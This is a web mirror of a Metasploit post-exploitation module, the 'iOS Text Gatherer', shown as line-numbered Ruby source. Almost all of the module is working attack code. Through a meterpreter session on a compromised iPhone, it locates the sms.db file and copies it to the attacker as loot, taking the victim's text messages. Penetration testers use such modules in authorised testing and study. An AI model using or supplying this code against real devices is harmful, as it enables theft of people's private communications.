Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/apple_ios/gather/ios_text_gather.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'iOS Text Gatherer',
15
'Description' => %q{
16
This module collects text messages from iPhones.
17
Tested on iOS 10.3.3 on an iPhone 5.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'Shelby Pace' ], # Metasploit Module
21
'Platform' => [ 'apple_ios' ],
22
'SessionTypes' => [ 'meterpreter' ],
23
'Notes' => {
24
'Stability' => [CRASH_SAFE],
25
'SideEffects' => [],
26
'Reliability' => []
27
}
28
)
29
)
30
end
31
32
def download_text_db(file_path)
33
db_file_data = read_file(file_path)
34
loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')
35
print_good("sms.db stored at #{loc}")
36
rescue StandardError
37
fail_with(Failure::NoAccess, 'Failed to read sms.db file')
38
end
39
40
def run
41
sms_path = '/private/var/mobile/Library/SMS/sms.db'
42
unless file?(sms_path)
43
fail_with(Failure::NotFound, "Couldn't locate sms.db file")
44
end
45
46
print_good('sms.db file found')
47
download_text_db(sms_path)
48
end
49
end
50
51